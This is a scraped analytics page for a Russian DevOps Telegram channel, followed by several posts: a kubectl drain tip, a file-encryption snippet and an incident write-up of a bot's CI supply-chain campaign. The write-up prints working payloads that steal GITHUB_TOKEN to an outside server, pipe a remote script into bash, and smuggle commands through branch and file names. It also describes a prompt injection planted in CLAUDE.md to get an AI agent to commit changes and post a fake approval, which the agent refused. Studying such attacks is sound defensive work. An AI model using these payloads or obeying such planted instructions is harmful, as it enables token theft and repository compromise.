Библиотека девопса | DevOps, SRE, Sysadmin
Все самое полезное для девопсера в одном канале. Наши курсы: https://clc.to/ZJ7Z1w По рекламе: @tproger_sales_bot Для обратной связи: @proglibrary_feeedback_bot РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787 Заявка: 8137718351
显示更多📈 Telegram 频道 Библиотека девопса | DevOps, SRE, Sysadmin 的分析概览
频道 Библиотека девопса | DevOps, SRE, Sysadmin (@devopsslib) 俄语 语言赛道中的 是活跃参与者。目前社区聚集了 10 340 名订阅者,在 技术与应用 类别中位列第 11 827,并在 俄罗斯 地区排名第 61 477 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 10 340 名订阅者。
根据 28 十月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 -44,过去 24 小时变化为 1,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 10.47%。内容发布后 24 小时内通常能获得 5.07% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 1 082 次浏览,首日通常累积 524 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 1。
- 主题关注点: 内容集中在 devops'a, навигация, скрипт, docker, git 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“Все самое полезное для девопсера в одном канале.
Наши курсы: https://clc.to/ZJ7Z1w
По рекламе: @tproger_sales_bot
Для обратной связи: @proglibrary_feeedback_bot
РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
Заявка: 8137718351”
凭借高频更新(最新数据采集于 29 十月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
Kubernetes корректно выведет все поды с ноды, перенесёт их на другие ноды в кластере и отметит саму ноду как недоступную для новых подов. Workloads при этом не упадут, они просто переедут.
--ignore-daemonsets говорит системе не трогать DaemonSets, потому что они крутятся на каждой ноде и переносить их бесполезно. --delete-emptydir-data удаляет поды с пустыми томами, которые нельзя перенести нормально.
Drain работает только с управляемыми подами. Если у вас валяются standalone поды без контроллера, они просто удалятся. Поэтому перед drain проверьте, что важные поды находятся в Deployments, StatefulSets или других контроллерах.
После drain нода остаётся в состоянии unschedulable. Когда закончите работу, верните её обратно:
kubectl uncordon <node-name>
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt1. единый интерфейс для метрик, логов и трейсов — чтобы быстро собрать полную картину по системе 2. поиск инцидентов и первопричин (особенно полезно в микросервисной архитектуре) 3. гибкий алертинг и сценарии эскалации, включая уведомления и звонки ответственным 4. мониторинг приложений, инфраструктуры и ИИ-агентов — в облаке и в on-prem средеВнутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов. Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента. Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности. Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
from cryptography.fernet import Fernet
def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())
with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)
print(f"File encrypted! Key: {key.decode()}")
if __name__ == "__main__":
encrypt_file("secrets.txt")
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_promptcurl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()
Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётовGITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.
Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу: pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётов